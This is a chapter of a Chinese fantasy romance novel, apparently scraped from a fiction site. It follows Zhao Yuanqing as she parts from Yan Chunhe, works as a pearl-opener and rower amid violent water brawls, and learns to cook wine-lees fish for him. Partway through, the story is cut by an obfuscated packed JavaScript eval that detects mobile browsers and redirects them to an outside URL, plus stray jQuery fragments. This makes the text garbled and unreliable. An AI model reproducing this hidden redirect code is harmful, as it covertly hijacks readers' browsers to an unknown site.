赵元青一路将燕椿和送到了浮空山的地洞入口。她站在洞口，看着他身形轻盈地一跃而下，衣袂翻飞，仿佛一只展翅的燕子，消失在幽深的洞底。直到他的身影完全隐没在那座如同天绝山上冰殿般的陨铁宫殿中，她才缓缓收回目光，转身跨上马背，朝着来时的路缓缓离去。


    她牵着燕椿和的马，一路慢行，马蹄声在寂静的山间回荡，回到衔燕阁时，天色已近黄昏。她将马交给衔燕阁的弟子们，径直去找七叔。七叔正坐在院中的石凳上，手里捧着一壶茶，见她来了，笑眯眯地招呼她坐下。


    二人聊了许久，近况，变化等等。七叔过几天要去青和，她也要去幽州。


    最后她找七叔要了些酒，她抱着酒坛，独自上了回燕阁的露台。这里是她和燕椿和上次待的最久的地方，两人常常在这里对坐饮酒，谈天说地，直到天明。


    如今，露台上只剩下她一个人。她打开酒坛，倒了一碗酒，仰头一饮而尽。酒液入喉，辛辣中带着一丝甘甜，仿佛将她的思绪拉回了从前。她独自坐在露台上，从黄昏喝到深夜，又从深夜喝到天明。酒坛渐渐空了。


    她想起那日，也是在这里，她和燕椿和坐在一起，那天，燕椿和伏在她的膝上睡着了，浅薄的晨光洒在他的脸上，显得格外柔和。她低头看着他，心中涌起那些细微滋味，时至今日已忆不清具体，只有些模糊的感觉缭绕心头。


    如今，太阳再次升起，露台上却只剩下她一个人。


    她站起身，收拾好酒坛和碗，转身下了露台，去一层他们曾经互许诺言的书房给他留了字条，她将字条压在书桌上，轻轻抚了抚纸张。


    管他能不能看见呢，反正自己得多做一些，若是看见了，他一定就会开心。


    走出衔燕阁，她翻身上马，朝着幽州的方向缓缓行去。从胥州到幽州，需要经过淮州。她牵着马，走在熟悉的路上，心中却有些空落落的。人习惯起来还真是可怕，从前她总是独自一人，后来习惯了有燕椿和相伴，如今又要重新适应一个人的日子。


    不过还有更不习惯的地方，茂茂大王竟然赏了她一万两七珞钱庄的银票！还有一些碎银子什么的。


    有点吓人。


    她自己是觉得茂茂如今十分放心她，知道她前三十多年一直本本分分做人，从不搞七捻三。


    天上偃鸟缓缓飞落至她肩上，赵元青放缓速度，取出偃鸟肚子中的信。


    ……又是徒弟。


    他最近天天抱怨，不好骂别人，也不好同旁人说的，全写给她了，一日一封，日日不落。


    里面尽是一些狂悖之语，也不要求她回，只是一味地写。


    她下马走到路边捡着纸背面用炭笔写下知道了！！！


    把纸塞回鸟肚子中拍拍它，让它赶紧飞走。


    这鸟天天肚子中塞这些东西，面相都变了，瞧着都比其他偃鸟尖酸刻薄些。


    一路沿山路慢行，重新到了媸妍江，这江面如今依然黑色怪石嶙峋，水急浪大，但已有小舟可过江，她弃了马，拍拍马屁股，马自动沿山路回返，自己花了二两银子过江，对面正是分花门那个从前废弃的码头，几个衣袖上绣花的弟子在里面看着闲书讲闲话。


    ……不知为何，她一直觉得投靠分花门是一件非常舒服的事情，会分配活计，会有银子，还很轻松。


    所以从前徒弟说不想当皇帝，她下意识就是去投靠分花门。


    这小舟并非七珞的，她特意瞧了一眼船屁股，没有那个金漆葫芦标识，又想到从前，四海四年春，她坐船，船伙计说自家船七珞阁老师傅造的，不由得会心一笑。而如今，已是元康初年。


    下舟在继续往清江走，路过从前看夕阳的地方，赵元青特意在那住了一夜，还是一样雄伟阔丽，壮观得让人停止呼吸。


    过小盈洲时，赵元青又换了些碎银，停留了近月余。她寻了几个短期活计，帮人开珠、摇橹捕鱼，日子过得紧巴巴的。


    这些活计并不轻松，尤其是开珠，每日天不亮就得起床，去河床筛贝，镇日弯腰劳作，直到夜晚监工放归。中午虽有一顿简陋的餐食，但也不过是勉强果腹。她干了两天才明白，那些不好的珠子被拿去市集骗别州人，而好的珠子则留给另一种意义上的“老爷们”——修者们。


    赵元青心里清楚，分花门的修者比琼州的老爷们大方些，但落到采珠人身上，日日不过二十铜板，已算是“大方”了。


    同行的有一位前辈，别人叫他老郝。老郝的皮肤因为常年泡在水中，显得苍白而皱皱巴巴的，腰几乎弯折，像罗锅一样，直不起来了。赵元青一连干了五日，每日至少六个时辰，腰也疼得厉害。她拿到了一两银子，请大家简单吃了一顿后，又跑去摇橹。原本她想自己租船捕鱼，每日拿去市集，卖多卖少都没关系。


    只是千川啊……这淮州的千川都是分花门的，水也是，鱼也是。捕鱼要交渔税，清水税，租船也要税，五花八门，分花门下十堂划分了地方，每堂交的还不一样。她搞不清楚，只能帮人摇橹。


    采珠的中老年居多，捕鱼的大多是半大少年，每日监工分配，一舟两人，一人摇橹，一人捕鱼，和她搭班的是一个半大的孩子，瞧着也就是徒弟的年纪，十四五岁，为人沉默寡言，只是眼神狠戾。


    这个就谈不上赚银子了，摇橹就是用些力气，每日无非也就是给一两条鱼，是燕椿和完全不吃的那种，鲤、鲫，刺多的很。


    偶尔还要械斗，大家争地盘，械斗的地点往往在水中。


    一但械斗，一些十来岁的，半大的孩子就拿凿子如同鱼一样钻入水里，先凿船，然后船上的人为了保船也下水，大家在水中厮打，互相拖对方，按对方下水。监工们是不管的，监工们只查每日鱼获是否够数，船有没有损坏。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904977|156408||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赵元青第一次见到时人都傻了，为保船她也只得跳下水，只是不敢出手，只拦。有用的武器实在不像话，拿凿子往人眼睛上戳的，拿水草钩钩别人背的，她就过去把武器夺走扔到船上，就是这样，太远的水中也有血晕开。


    好在打不久，因要捕够鱼，不然次日船就归了别人，全家都得挨饿。


    芸芸众生，过得好的永远是少数人。


    但很快，她就被监工赶走了，因不知哪个龟孙告状，说她抢他人东西，面对船上的那么些个武器她也讲不清楚，就被赶走了。


    小盈洲城外三里地方有一片石榴林，正是开花的时候，红灿灿一片，开得十分热闹，两侧兼有些蕙兰，紫薇，木槿之类的花草，清风一吹，香入心骨。这世道茶贵，赵元青经常闲暇时买些浊酒过去坐坐，下等的浊酒只能非常勉强地抿出些酒味，浊酒的液体浑浊，酒味淡薄，好在石榴花艳丽，红霞一样，偶尔酒性起，在林中捡根枝条舞剑，勉强念些还记得的诗词，倒也颇有一番趣味。


    特别是有一日，刚赶上日暮，小盈洲雨后初晴，四周橙红一片。石榴林中的花瓣沾着雨珠，在夕阳的照耀下，宛如飘落的艳雪，美得让人失语。


    那日她就很想和燕椿和讲，反正也不知要讲什么，就是有些想见他，回去手痒，翻出一块上好的楠木板。这是她在淮州买的，不算很好的料子，只胜在木质细腻，纹理清晰，最适合做微雕。她点上油灯，取出刻刀，开始细细雕琢。刀尖在木板上游走，勾勒出石榴林的轮廓。她刻得很慢，每一刀都要反复斟酌，生怕破坏了木料的纹理。夜深了，油灯的光晕在木板上投下摇曳的影子，她的手指被刻刀磨得发红，却浑然不觉。


    第二天一早，赵元青就去了城里最大的酒楼，去酒楼又找了份活计，从后厨配菜开始做，她曾经入境时做过这类活，上手很快，燕椿和喜欢淮州口味，猫舌头一样，只盯着鱼，九州哪里还能有淮州更会做鱼呢？


    这一学倒是学出些门道，在她多番贿赂之下，大师傅说了，做得好得会吃才行，但口味可以触类旁通，淮州菜会一道酒糟鱼足矣。


    这酒糟鱼，只是略微费些事，需要提前做，碧粳米要选当年的新米，酒糟要发酵得恰到好处，水草要选淮州特产的青萍，用酒糟和水草一层层包裹，放入陶罐中密封。腌清江鲈三月后取出直蒸，鱼肉酒香、米香、更兼有一种草木清香，她一瞧就笃定他一定喜欢。


    她买了碧粳米，先从酒糟开始做，又购鱼，最后跑去七珞钱庄腌制，存放在七珞钱庄的冰窖中。


    重新出了小盈洲继续向幽州，一路乘船。


    在回燕阁时，她答应过他，去新地方都要给他带些当地风物做礼品，那时……还是略微有些忐忑，有时忙，忘了怎么办？会这样想。


    但如今应该是不会忘了，走到哪里好想都会想到他，会不会喜欢。